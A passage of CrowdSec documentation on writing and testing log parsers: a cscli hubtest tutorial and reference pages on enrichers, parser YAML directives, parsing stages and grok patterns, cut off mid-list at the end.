rd4fAMAAADoXvDkBQAAAGKAjAUAAIAYIGMBAAAgBshYAAAAiAEyFgAAAGKAjAUAAIAYIGMBAAAgBshYAAAAiAEyFgAAAGKAjAUAAIAYIGMBAAAgBshYAAAAiAEyFgAAAGKAjAUAAIAYIGMBAAAgBshYAAAAiAEyFgAAAGKAjAUAAIAYIGMBAAAgBshYAAAAiAEyFgAAAGKgdnzV4U5OPRcHAAAAgA/OsQAAABADZCwAAADEABkLAAAAMUDGAgAAQAyQsQAAABADZCwAAADEABkLAAAAMUDGAgAAQAyQsQAAABADZCwAAADEABkLAAAAMUDGAgAAQAyQsQAAABADZCwAAADEABkLAAAAMUDGAgAAQAyQsQAAABADZCwAAADEABkLAAAAMUDGAgAAQAyQsQAAABADZCwAAADE8D+ZuZiy1buu9gAAAABJRU5ErkJggg==) ## Pre-requisites[โ€‹](#pre-requisites "Direct link to Pre-requisites") 1. [Create a local test environment](https://doc.crowdsec.net/docs/contributing/contributing_test_env) 2. Clone the hub SHCOPY ``` git clone https://github.com/crowdsecurity/hub.git ``` ## Create our test[โ€‹](#create-our-test "Direct link to Create our test") From the root of the hub repository : SHCOPY ``` โ–ถ cscli hubtest create myservice-logs --type syslog Test name : myservice-logs Test path : /home/dev/github/hub/.tests/myservice-logs Log file : /home/dev/github/hub/.tests/myservice-logs/myservice-logs.log (please fill it with logs) Parser assertion file : /home/dev/github/hub/.tests/myservice-logs/parser.assert (please fill it with assertion) Scenario assertion file : /home/dev/github/hub/.tests/myservice-logs/scenario.assert (please fill it with assertion) Configuration File : /home/dev/github/hub/.tests/myservice-logs/config.yaml (please fill it with parsers, scenarios...) ``` ## Configure our test[โ€‹](#configure-our-test "Direct link to Configure our test") Let's add our parser to the test configuration (`.tests/myservice-logs/config.yaml`). He specify that we need syslog-logs parser (because myservice logs are shipped via syslog), and then our custom parser. YAMLCOPY ``` parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/crowdsecurity/myservice-logs.yaml scenarios: postoverflows: log_file: myservice-logs.log log_type: syslog ignore_parsers: false ``` **note: as our custom parser isn't yet part of the hub, we specify its path relative to the root of the hub directory** ## Parser creation : skeleton[โ€‹](#parser-creation--skeleton "Direct link to Parser creation : skeleton") For the sake of the tutorial, let's create a very simple parser : YAMLCOPY ``` filter: 1 == 1 debug: true onsuccess: next_stage name: crowdsecurity/myservice-logs description: "Parse myservice logs" grok: #our grok pattern : capture .* pattern: ^%{DATA:some_data}$ #the field to which we apply the grok pattern : the log message itself apply_on: message statics: - parsed: is_my_service value: yes ``` * a [filter](https://docs.crowdsec.net/docs/next/log_processor/parsers/format.md#filter) : if the expression is `true`, the event will enter the parser, otherwise, it won't * a [onsuccess](https://docs.crowdsec.net/docs/next/log_processor/parsers/format.md#onsuccess) : defines what happens when the event was successfully parsed : shall we continue ? shall we move to next stage ? etc. * a `name` & a `description` * some [statics](https://docs.crowdsec.net/docs/next/log_processor/parsers/format.md#statics) that will modify the event * a `debug` flag that allows to enable local debugging information * a `grok` pattern to capture some data in logs We can then "test" our parser like this : SHCOPY ``` โ–ถ cscli hubtest run myservice-logs INFO[01-10-2021 12:41:21 PM] Running test 'myservice-logs' WARN[01-10-2021 12:41:24 PM] Assert file '/home/dev/github/hub/.tests/myservice-logs/parser.assert' is empty, generating assertion: len(results) == 2 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 3 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true ... len(results["s01-parse"]["crowdsecurity/myservice-logs"]) == 3 results["s01-parse"]["crowdsecurity/myservice-logs"][0].Success == true results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["program"] == "myservice" results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["timestamp"] == "Dec 8 06:28:43" results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["is_my_service"] == "yes" results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["message"] == "bad password for user 'toto' from '192.168.1.1'" results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["some_data"] == "bad password for user 'toto' from '192.168.1.1'" ... Please fill your assert file(s) for test 'myservice-logs', exiting ``` What happened here ? * Our logs have been processed by syslog-logs parser and our custom parser * As we have no existing assertion(s), `cscli hubtest` kindly generated some for us This mostly allows us to ensure that our logs have been processed by our parser, even if it's useless in its current state. Further inspection can be seen with `cscli hubtest explain` : SHCOPY ``` โ–ถ cscli hubtest explain myservice-logs line: Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'toto' from '192.168.1.1' โ”œ s00-raw | โ”” ๐ŸŸข crowdsecurity/syslog-logs โ”” s01-parse โ”” ๐ŸŸข crowdsecurity/myservice-logs line: Dec 8 06:28:43 mymachine myservice[2806]: unknown user 'toto' from '192.168.1.1' โ”œ s00-raw | โ”” ๐ŸŸข crowdsecurity/syslog-logs โ”” s01-parse โ”” ๐ŸŸข crowdsecurity/myservice-logs line: Dec 8 06:28:43 mymachine myservice[2806]: accepted connection for user 'toto' from '192.168.1.1' โ”œ s00-raw | โ”” ๐ŸŸข crowdsecurity/syslog-logs โ”” s01-parse โ”” ๐ŸŸข crowdsecurity/myservice-logs ``` We can see that our log lines were successfully parsed by both syslog-logs and myservice-logs parsers. ## Parser creation : actual parser[โ€‹](#parser-creation--actual-parser "Direct link to Parser creation : actual parser") Let's modify our parser, `./parsers/s01-parse/crowdsecurity/myservice-logs.yaml` : YAMLCOPY ``` onsuccess: next_stage filter: "evt.Parsed.program == 'myservice'" name: crowdsecurity/myservice-logs description: "Parse myservice logs" #for clarity, we create our pattern syntax beforehand pattern_syntax: MYSERVICE_BADPASSWORD: bad password for user '%{USERNAME:user}' from '%{IP:source_ip}' #[1] MYSERVICE_BADUSER: unknown user '%{USERNAME:user}' from '%{IP:source_ip}' #[1] nodes: #and we use them to parse our two type of logs - grok: name: "MYSERVICE_BADPASSWORD" #[2] apply_on: message statics: - meta: log_type #[3] value: myservice_failed_auth - meta: log_subtype value: myservice_bad_password - grok: name: "MYSERVICE_BADUSER" #[2] apply_on: message statics: - meta: log_type #[3] value: myservice_failed_auth - meta: log_subtype value: myservice_bad_user statics: - meta: service #[3] value: myservice - meta: username expression: evt.Parsed.user - meta: source_ip #[1] expression: "evt.Parsed.source_ip" ``` Various changes have been made here : * We created to patterns to capture the two relevant type of log lines, Using an [online grok debugger](https://grokdebug.herokuapp.com/) or an [online regex debugger](https://www.debuggex.com/) \[2] ) * We keep track of the username and the source\_ip (Please note that setting the source\_ip in `evt.Meta.source_ip` and `evt.Parsed.source_ip` is important \[1]) * We setup various [statics](https://docs.crowdsec.net/docs/next/log_processor/parsers/format.md#statics) information to classify the log type \[3] Let's run out tests again : SHCOPY ``` โ–ถ cscli hubtest run myservice-logs INFO[01-10-2021 12:49:56 PM] Running test 'myservice-logs' WARN[01-10-2021 12:49:59 PM] Assert file '/home/dev/github/hub/.tests/myservice-logs/parser.assert' is empty, generating assertion: len(results) == 2 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 3 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true ... len(results["s01-parse"]["crowdsecurity/myservice-logs"]) == 3 results["s01-parse"]["crowdsecurity/myservice-logs"][0].Success == true ... results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["timestamp"] == "Dec 8 06:28:43" results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["program"] == "myservice" results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["source_ip"] == "192.168.1.1" results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Parsed["user"] == "toto" results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Meta["log_subtype"] == "myservice_bad_password" results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Meta["log_type"] == "myservice_failed_auth" results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Meta["service"] == "myservice" results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Meta["source_ip"] == "192.168.1.1" results["s01-parse"]["crowdsecurity/myservice-logs"][0].Evt.Meta["username"] == "toto" ... results["s01-parse"]["crowdsecurity/myservice-logs"][1].Evt.Meta["log_subtype"] == "myservice_bad_user" results["s01-parse"]["crowdsecurity/myservice-logs"][2].Success == false Please fill your assert file(s) for test 'myservice-logs', exiting ``` We can see that our parser captured all the relevant information, and it should be enough to create scenarios further down the line. Again, further inspection with `cscli hubtest explain` will show us more about what happened : SHCOPY ``` โ–ถ cscli hubtest explain myservice-logs line: Dec 8 06:28:43 mymachine myservice[2806]: bad password for user 'toto' from '192.168.1.1' โ”œ s00-raw | โ”” ๐ŸŸข crowdsecurity/syslog-logs โ”” s01-parse โ”” ๐ŸŸข crowdsecurity/myservice-logs line: Dec 8 06:28:43 mymachine myservice[2806]: unknown user 'toto' from '192.168.1.1' โ”œ s00-raw | โ”” ๐ŸŸข crowdsecurity/syslog-logs โ”” s01-parse โ”” ๐ŸŸข crowdsecurity/myservice-logs line: Dec 8 06:28:43 mymachine myservice[2806]: accepted connection for user 'toto' from '192.168.1.1' โ”œ s00-raw | โ”” ๐ŸŸข crowdsecurity/syslog-logs โ”” s01-parse โ”” ๐Ÿ”ด crowdsecurity/myservice-logs ``` **note: we can see that our log line `accepted connection for user 'toto' from '192.168.1.1'` wasn't parsed by `crowdsecurity/myservice-logs` as we have no pattern for it** ## Closing word[โ€‹](#closing-word "Direct link to Closing word") We have now a fully functional parser for myservice logs ! We can either deploy it to our production systems to do stuff, or even better, contribute to the hub ! If you want to know more about directives and possibilities, take a look at [the parser reference documentation](https://docs.crowdsec.net/docs/next/log_processor/parsers/format.md) ! See as well [this blog article](https://crowdsec.net/blog/how-to-write-crowdsec-parsers-and-scenarios) on the topic. *** ## More ways to learn [![More ways to learn](/img/academy/parsers_and_scenarios.svg)](https://academy.crowdsec.net/course/writing-parsers-and-scenarios?utm_source=docs\&utm_medium=banner\&utm_campaign=parser-page\&utm_id=academydocs) Watch a short series of videos on how to create Parsers, as well as Scenarios [**Learn with CrowdSec Academy**](https://academy.crowdsec.net/course/writing-parsers-and-scenarios?utm_source=docs\&utm_medium=banner\&utm_campaign=parser-page\&utm_id=academydocs) *** --- # Enrichers Enrichers are [parsers](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md) that can rely on external methods to provide extra contextual information to the event. The enrichers are usually in the `s02-enrich` [stage](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md#stages) (after most of the parsing happened). Enrichers functions should all accept a string as a parameter, and return an associative string array, that will be automatically merged into the `Enriched` map of the [`Event`](https://docs.crowdsec.net/docs/next/expr/event.md). warning At the time of writing, enrichers plugin mechanism implementation is still ongoing (read: the list of available enrichment methods is currently hardcoded). As an example let's look into the geoip-enrich parser/enricher : It relies on [the geolite2 data created by maxmind](https://www.maxmind.com) and the [geoip2 golang module](https://github.com/oschwald/geoip2-golang) to provide the actual data. It exposes a few methods : `GeoIpCity` `GeoIpASN` and `IpToRange` that are used by the postoverflow `crowdsecurity/rdns` and the parsers `crowdsecurity/geoip-enrich` and `crowdsecurity/dateparse-enrich`. Enrichers can be installed as any other parsers with the following command: TEXTCOPY ``` sudo cscli parsers install crowdsecurity/geoip-enrich ``` #### GeoIpCity[โ€‹](#geoipcity "Direct link to GeoIpCity") This method uses an Ip as an input, and tries to give information on this IP on return. It requires the maxmind database to be installed, which is done at the parser `crowdsecurity/geoip-enrich` installation. It will fill the fields `Enriched.Isocode` with county ISO code and `Enriched.IsInEU` with the string `true` of `false`. It fills also `Enriched.Latitude` and `Enriched.Longitude` with the latitude and longitude. #### GeoIpASN[โ€‹](#geoipasn "Direct link to GeoIpASN") This method uses an Ip as an input, and tries to give information on this IP on return. It requires the maxmind database to be installed, which is done at the parser `crowdsecurity/geoip-enrich` installation. This method fill the fields `Enriched.ASNNUMBER` and `Enriched.ASNumber` with the AS Number and `Enriched.ASNOrg` with the AS organiszation name #### IpToRange[โ€‹](#iptorange "Direct link to IpToRange") This method uses an Ip as an input, and tries to corresponding registered range on return. It requires the maxmind database to be installed, which is done at the parser `crowdsecurity/geoip-enrich` installation. The field `Enriched.SourceRange` is filled with the source range information. #### reverse\_dns[โ€‹](#reverse_dns "Direct link to reverse_dns") This methode uses an Ip as an input, and give the result of the reverse dns lookup. It fills the field `Enriched.reverse_dns` with the reverse dns information. #### ParseDate[โ€‹](#parsedate "Direct link to ParseDate") This method uses a date string as an input and tries to understand the date. This is used by the `crowdsecurity/dateparse-enrich` enricher to make crowdsec understand when the event took place. In case the date is not understood by crowdsec, the timestamp used is the time when the parsing is taking place. --- # Format ## Parser configuration example[โ€‹](#parser-configuration-example "Direct link to Parser configuration example") A parser might look like: YAMLCOPY ``` onsuccess: next_stage debug: true filter: "evt.Parsed.program == 'kernel'" name: crowdsecurity/demo-iptables description: "Parse iptables drop logs" pattern_syntax: MYCAP: ".*" grok: pattern: ^xxheader %{MYCAP:extracted_value} trailing stuff$ apply_on: evt.Parsed.some_field statics: - parsed: something expression: JsonExtract(evt.Event.extracted_value, "nested.an_array[0]") - meta: log_type value: parsed_testlog - meta: source_ip expression: "evt.Parsed.src_ip" ``` The parser nodes are processed sequentially based on the alphabetical order of [stages](https://docs.crowdsec.net/docs/next/log_processor/parsers/intro.md#stages) and subsequent files. If the node is considered successful (grok is present and returned data or no grok is present) and "onsuccess" equals to `next_stage`, then the event is moved to the next stage. ## Parser trees[โ€‹](#parser-trees "Direct link to Parser trees") A parser node can contain sub-nodes, to provide proper branching (on top of stages). It can be useful when you want to apply different parsing based on different criterias, or when you have a set of candidates parsers that you want to apply to an event : YAMLCOPY ``` #This first node will capture/extract some value filter: "evt.Line.Labels.type == 'type1'" name: tests/base-grok-root pattern_syntax: MYCAP: ".*" grok: pattern: ^... %{MYCAP:extracted_value} ...$ apply_on: Line.Raw statics: - meta: state value: root-done - meta: state_sub expression: evt.Parsed.extracted_value --- #and this node will apply different patterns to it filter: "evt.Line.Labels.type == 'type1' && evt.Meta.state == 'root-done'" name: tests/base-grok-leafs onsuccess: next_stage #the sub-nodes will process the result of the master node nodes: - filter: "evt.Parsed.extracted_value == 'VALUE1'" debug: true statics: - meta: final_state value: leaf1 - filter: "evt.Parsed.extracted_value == 'VALUE2'" debug: true statics: - meta: final_state value: leaf2 ``` The `tests/base-grok-root` node will be processed first and will alter the event (here mostly by extracting some text from the `Line.Raw` field into `Parsed` thanks to the `grok` pattern and the `statics` directive). The event will then be parsed by the the following `tests/base-grok-leafs` node. This node has `onsuccess` set to `next_stage` which means that if the node is successful, the event will be moved to the next stage. A real-life example can be seen when it comes to parsing HTTP logs. HTTP ACCESS and ERROR logs often have different formats, and thus our "nginx" parser needs to handle both formats Nginx parser YAMLCOPY ``` filter: "evt.Parsed.program == 'nginx'" onsuccess: next_stage name: crowdsecurity/nginx-logs nodes: - grok: #this is the access log name: NGINXACCESS apply_on: message statics: - meta: log_type value: http_access-log - target: evt.StrTime expression: evt.Parsed.time_local - grok: # and this one the error log name: NGINXERROR apply_on: message statics: - meta: log_type value: http_error-log - target: evt.StrTime expression: evt.Parsed.time # these ones apply for both grok patterns statics: - meta: service value: http - meta: source_ip expression: "evt.Parsed.remote_addr" - meta: http_status expression: "evt.Parsed.status" - meta: http_path expression: "evt.Parsed.request" ``` ## Parser directives[โ€‹](#parser-directives "Direct link to Parser directives") ### `debug`[โ€‹](#debug "Direct link to debug") YAMLCOPY ``` debug: true|false ``` *default: false* If set to to `true`, enabled node level debugging. It is meant to help understanding parser node behavior by providing contextual logging : assignments made by statics SHCOPY ``` DEBU[31-07-2020 16:36:28] + Processing 4 statics id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse DEBU[31-07-2020 16:36:28] .Meta[service] = 'http' id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse DEBU[31-07-2020 16:36:28] .Meta[source_ip] = '127.0.0.1' id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse DEBU[31-07-2020 16:36:28] .Meta[http_status] = '200' id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse DEBU[31-07-2020 16:36:28] .Meta[http_path] = '/' id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse ``` assignments made by grok pattern TEXTCOPY ``` DEBU[31-07-2020 16:36:28] + Grok 'NGINXACCESS' returned 10 entries to merge in Parsed id=dark-glitter name=child-crowdsecurity/nginx-logs stage=s01-parse DEBU[31-07-2020 16:36:28] .Parsed['time_local'] = '21/Jul/2020:16:13:05 +0200' id=dark-glitter name=child-crowdsecurity/nginx-logs stage=s01-parse DEBU[31-07-2020 16:36:28] .Parsed['method'] = 'GET' id=dark-glitter name=child-crowdsecurity/nginx-logs stage=s01-parse DEBU[31-07-2020 16:36:28] .Parsed['request'] = '/' id=dark-glitter name=child-crowdsecurity/nginx-logs stage=s01-parse DEBU[31-07-2020 16:36:28] .Parsed['http_user_agent'] = 'curl/7.58.0' id=dark-glitter name=child-crowdsecurity/nginx-logs stage=s01-parse DEBU[31-07-2020 16:36:28] .Parsed['remote_addr'] = '127.0.0.1' id=dark-glitter name=child-crowdsecurity/nginx-logs stage=s01-parse ``` debug of filters and expression results TEXTCOPY ``` DEBU[31-07-2020 16:36:28] eval(evt.Parsed.program == 'nginx') = TRUE id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse DEBU[31-07-2020 16:36:28] eval variables: id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse DEBU[31-07-2020 16:36:28] evt.Parsed.program = 'nginx' id=withered-rain name=crowdsecurity/nginx-logs stage=s01-parse ``` *** ### `filter`[โ€‹](#filter "Direct link to filter") YAMLCOPY ``` filter: expression ``` `filter` must be a valid [expr](https://docs.crowdsec.net/docs/next/expr/intro.md) expression that will be evaluated against the [event](https://docs.crowdsec.net/docs/next/expr/event.md). If `filter` evaluation returns true or is absent, node will be processed. If `filter` returns `false` or a non-boolean, node won't be processed. Here is the [expr documentation](https://github.com/antonmedv/expr/tree/master/docs). Examples : * `filter: "evt.Meta.foo == 'test'"` * `filter: "evt.Meta.bar == 'test' && evt.Meta.foo == 'test2'` *** ### `grok`[โ€‹](#grok "Direct link to grok") #### `pattern`[โ€‹](#pattern "Direct link to pattern") A valid grok pattern #### `expression`[โ€‹](#expression "Direct link to expression") A valid [expr](https://docs.crowdsec.net/docs/next/expr/intro.md) expression that return a string to apply the pattern on. #### `apply_on`[โ€‹](#apply_on "Direct link to apply_on") The field from `evt.Parsed` to apply the pattern on. For example if you want to apply the event to `evt.Parsed.message` you would set `apply_on: message`. #### Examples[โ€‹](#examples "Direct link to Examples") YAMLCOPY ``` grok: name: NAMED_EXISTING_PATTERN apply_on: source_field ``` YAMLCOPY ``` grok: pattern: ^a valid RE2 expression with %{CAPTURE:field}$ expression: JsonExtract(evt.Line.Raw, "field.example") ``` YAMLCOPY ``` grok: pattern: ^a valid RE2 expression with %{CAPTURE:field}$ apply_on: source_field ``` The `grok` structure in a node represent a regular expression with capture group (grok pattern) that must be applied on a field of event. The pattern can : * be imported by name (if present within the core of CrowdSec) * defined in place In both case, the pattern must be a valid RE2 expression. The field(s) returned by the regular expression are going to be merged into the `Parsed` associative array of the `Event`. *** ### `name`[โ€‹](#name "Direct link to name") YAMLCOPY ``` name: explicit_string ``` The *mandatory* name of the node. If not present, node will be skipped at runtime. It is used for example in debug log to help you track things. *** ### `format`[โ€‹](#format "Direct link to format") YAMLCOPY ``` name: explicit_string ``` Optional version which defines the parser version document used to write the parser. The default version is 1.0. Versions `2.0` and onward will end in a crowdsec minimum requirement version to use the parser definition. For example, parsers that use the conditional feature will have to put `2.0` in order to get at least crowdsec 1.5.0 *** ### `nodes`[โ€‹](#nodes "Direct link to nodes") YAMLCOPY ``` nodes: - filter: ... grok: ... ``` `nodes` is a list of parser nodes, allowing you to build trees. Each subnode must be valid, and if any of the subnodes succeed, the whole node is considered successful. *** ### `onsuccess`[โ€‹](#onsuccess "Direct link to onsuccess") YAMLCOPY ``` onsuccess: next_stage|continue ``` *default: continue* if set to `next_stage` and the node is considered successful, the event will be moved directly to the next stage without processing other nodes in the current stage. info if it's a parser tree, and a "leaf" node succeeds, it is the parent's "onsuccess" that is evaluated. *** ### `pattern_syntax`[โ€‹](#pattern_syntax "Direct link to pattern_syntax") YAMLCOPY ``` pattern_syntax: CAPTURE_NAME: VALID_RE2_EXPRESSION ``` `pattern_syntax` allows user to define named capture group expressions for future use in grok patterns. Regexp must be a valid RE2 expression. YAMLCOPY ``` pattern_syntax: MYCAP: ".*" grok: pattern: ^xxheader %{MYCAP:extracted_value} trailing stuff$ apply_on: Line.Raw ``` *** ### `statics`[โ€‹](#statics "Direct link to statics") `statics` is a list of directives that will be evaluated when the node is considered successful. Each entry of the list is composed of a `target` (where to write) and a `source` (what data to write). #### `target`[โ€‹](#target "Direct link to target") The target can be defined by pointing directly a key in a dictionary (`Parsed`, `Enriched` or `Meta`), or by providing direct a `target` expression : YAMLCOPY ``` meta: target_field ``` > `meta: source_ip` will set the value in `evt.Meta.source_ip` YAMLCOPY ``` parsed: target_field ``` > `parsed: remote_addr` will set the value in `evt.Parsed.remote_addr` YAMLCOPY ``` enriched: target_field ``` > `enriched: extra_info` will set the value in `evt.Enriched.extra_info` YAMLCOPY ``` target: evt.Parsed.foobar ``` > `target: evt.Meta.foobar` will set the value in the `Meta[foobar]` entry YAMLCOPY ``` method: GeoCoords ``` > `method: GeoIPCity` will will use the GeoIPCity to populate some fields in the `Enriched` entry. See (Enrichers|parsers/enricher.md) for more information #### `source`[โ€‹](#source "Direct link to source") YAMLCOPY ``` value: ``` A static value. YAMLCOPY ``` expression: ``` A valid [`expr`](https://github.com/antonmedv/expr) expression to eval. The result of the evaluation will be set in the target field. #### Example[โ€‹](#example "Direct link to Example") YAMLCOPY ``` statics: - target: evt.Meta.target_field value: static_value - meta: target_field expression: evt.Meta.target_field + ' this_is' + ' a dynamic expression' - enriched: target_field value: static_value ``` YAMLCOPY ``` statics: - meta: target_field value: static_value - meta: target_field expression: evt.Meta.another_field - meta: target_field expression: evt.Meta.target_field + ' this_is' + ' a dynamic expression' ``` *** ### `data`[โ€‹](#data "Direct link to data") YAMLCOPY ``` data: - source_url: https://URL/TO/FILE dest_file: LOCAL_FILENAME type: (regexp|string|map) ``` `data` allows user to specify an external source of data. This section is only relevant when `cscli` is used to install parser from hub, as it will download the `source_url` and store it to `dest_file`. When the parser is not installed from the hub, CrowdSec won't download the URL, but the file must exist for the parser to be loaded correctly. The `type` is mandatory if you want to evaluate the data in the file, and should be `regex` for valid (re2) regular expression per line, `string` for string per line, or `map` for JSON-lines map files (see [map file helpers](https://docs.crowdsec.net/docs/next/expr/file_helpers.md#map-file-helpers)). The regexps will be compiled, the strings will be loaded into a list and both will be kept in memory. Without specifying a `type`, the file will be downloaded and stored as file and not in memory. You can refer to the content of the downloaded file(s) by using `File()`, `RegexpInFile()`, `FileMap()`, or `LookupFile()` in an expression: YAMLCOPY ``` filter: 'evt.Meta.log_type in ["http_access-log", "http_error-log"] and any(File("backdoors.txt"), { evt.Parsed.request contains #})' ``` #### Example[โ€‹](#example-1 "Direct link to Example") YAMLCOPY ``` name: crowdsecurity/cdn-whitelist ... data: - source_url: https://www.cloudflare.com/ips-v4 dest_file: cloudflare_ips.txt type: string ``` #### Caching feature[โ€‹](#caching-feature "Direct link to Caching feature") Since 1.5, it is possible to configure additional cache for `RegexpInFile()` : * input data (hashed with [xxhash](https://github.com/cespare/xxhash)) * associated result (true or false) [Cache behavior](https://pkg.go.dev/github.com/bluele/gcache) can be configured: * strategy: LRU, LFU or ARC * size: maximum size of cache * ttl: expiration of elements * cache: boolean (true by default if one of the fields is set) This is typically useful for scenarios that needs to check on a lot of regexps. Example configuration: YAMLCOPY ``` type: leaky #... data: - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/bad_user_agents.regex.txt dest_file: bad_user_agents.regex.txt type: regexp strategy: LRU size: 40 ttl: 5s ``` *** ### `stash`[โ€‹](#stash "Direct link to stash") The **stash** section allows a parser to capture data, that can be later accessed/populated via `GetFromStash` and `SetInStash` expr helpers. Each list item defines a capture directive that is stored in a separate cache (string:string), with its own maximum size, eviction rules etc. #### `name`[โ€‹](#name-1 "Direct link to name-1") The name of the stash. Distinct parsers can manipulate the same cache. #### `key`[โ€‹](#key "Direct link to key") The [expression](https://docs.crowdsec.net/docs/next/expr/intro.md) that defines the string that will be used as a key. #### `value`[โ€‹](#value "Direct link to value") The [expression](https://docs.crowdsec.net/docs/next/expr/intro.md) that defines the string that will be used as a value. #### `ttl`[โ€‹](#ttl "Direct link to ttl") The time to leave of items. Default strategy is LRU. #### `size`[โ€‹](#size "Direct link to size") The maximum size of the cache. #### `strategy`[โ€‹](#strategy "Direct link to strategy") The caching strategy to be used : LFU, LRU or ARC (see [gcache doc for details](https://pkg.go.dev/github.com/bluele/gcache)). Defaults to LRU. #### Examples[โ€‹](#examples-1 "Direct link to Examples") YAMLCOPY ``` stash: - name: test_program_pid_assoc key: evt.Parsed.pid value: evt.Parsed.program ttl: 30s size: 10 ``` This will build and maintain a cache of at most 10 concurrent items that will capture the association `evt.Parsed.pid` -> `evt.Parsed.program`. The cache can then be used to enrich other items: YAMLCOPY ``` statics: - meta: associated_prog_name expression: GetFromStash("test_program_pid_assoc", evt.Parsed.pid) ``` ## Notes[โ€‹](#notes "Direct link to Notes") A parser is considered "successful" if : * A grok pattern was present and successfully matched * No grok pattern was present ### Patterns documentation[โ€‹](#patterns-documentation "Direct link to Patterns documentation") You can find [exhaustive patterns documentation here](https://docs.crowdsec.net/docs/next/log_processor/parsers/patterns.md). --- # Introduction ## Parser[โ€‹](#parser "Direct link to Parser") A parser is a YAML configuration file that describes how a string must be parsed. Said string can be a log line, or a field extracted from a previous parser. While a lot of parsers rely on the **GROK** approach (a.k.a regular expression named capture groups), parsers can also use [expressions](https://docs.crowdsec.net/docs/next/expr/intro.md) to perform parsing on specific data (ie. json), [refer to external methods for enrichment](https://hub.crowdsec.net/author/crowdsecurity/configurations/geoip-enrich) or even [perform whitelisting](https://hub.crowdsec.net/author/crowdsecurity/configurations/whitelists.md). The [event](https://docs.crowdsec.net/docs/next/expr/event.md) enters the parser, and might exit successfully or not: ![](/img/parser-diagram.png) ## Stages[โ€‹](#stages "Direct link to Stages") Parsers are organized into stages to allow pipelines and branching in parsing. An event can go to the next stage if at least one parser in the given stage parsed it successfully while having `onsuccess` set to `next_stage`. Otherwise, the event is considered unparsed and will exit the pipeline (and be discarded): ![](/img/global-parser-diagrams.png) The parsing pipeline is broken down into multiple stages: * `s00-raw` : This is the first stage which aims to normalize the logs from various [Data Sources](https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro.md) into a predictable format for `s01-parse` and `s02-enrich` to work on. * `s01-parse` : This is the second stage responsible for extracting relevant information from the normalized logs based on the application type to be used by `s02-enrich` and the [Scenarios](https://docs.crowdsec.net/docs/next/log_processor/scenarios/intro.md). * `s02-enrich` : This is the third stage responsible for enriching the extracted information with additional context such as GEOIP, ASN etc. ### `s00-raw`[โ€‹](#s00-raw "Direct link to s00-raw") This stage is responsible for normalizing logs from various [Data Sources](https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro.md) into a predictable format for `s01-parse` and `s02-enrich` to work on. For example if you have a `syslog` Data Source and a `container` Data Source writing the same application log lines you wouldnt want `s01-parse` to handle this logic twice, since `s00-raw` can normalize the logs into a predictable format. For most instances we have already created these `s00-raw` parsers for you are available to view on the [Hub](https://hub.crowdsec.net/). ### `s01-parse`[โ€‹](#s01-parse "Direct link to s01-parse") The stage is responsible for extracting relevant information from the normalized logs based on the application type. The application type is defined in different ways based on the Data Source. Please refer to the [Data Sources](https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro.md) documentation for more information. We list all available applications we support on the [Hub](https://hub.crowdsec.net/) and within the readme of the collection our users provide an example Acquisition configuration. ### `s02-enrich`[โ€‹](#s02-enrich "Direct link to s02-enrich") The aim of this stage is to enrich the extracted information with additional context such as GEOIP, ASN etc. However, the stage can also be used to perform whitelist checks, however, we have dedicated documentation for this [here](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md). Currently we have a few enrichers available on the [Hub](https://hub.crowdsec.net/), that are installed by default so you dont need to worry about this stage unless you want to create your own. ## Postoverflows[โ€‹](#postoverflows "Direct link to Postoverflows") Once a scenario overflows, the resulting event is going to be processed by a distinct set of parsers, called "postoverflows". Those parsers are located in `/etc/crowdsec/postoverflows/` and typically contain additional whitelists, a [common example is to whitelist decisions coming from some specific FQDN](https://hub.crowdsec.net/author/crowdsecurity/collections/whitelist-good-actors). Usually, those parsers should be kept for "expensive" parsers that might rely on external services. *** See the [Hub](https://app.crowdsec.net/hub/configurations) to explore parsers, or see below some examples: * [apache2 access/error log parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/apache2-logs) * [iptables logs parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/iptables-logs) * [http logs post-processing](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/http-logs) The parsers usually reside in `/etc/crowdsec/parsers//`. --- # Patterns documentation You will find here a generated documentation of all the patterns loaded by crowdsec. They are sorted by pattern length, and are meant to be used in parsers, in the form `%{PATTERN_NAME}`. ## MONGO3\_SEVERITY[โ€‹](#mongo3_severity "Direct link to MONGO3_SEVERITY") Pattern : TEXTCOPY ``` \w ``` ## GREEDYDATA[โ€‹](#greedydata "Direct link to GREEDYDATA") Pattern : TEXTCOPY ``` .* ``` ## RAIL\_ACTION[โ€‹](#rail_action "Direct link to RAIL_ACTION") Pattern : TEXTCOPY 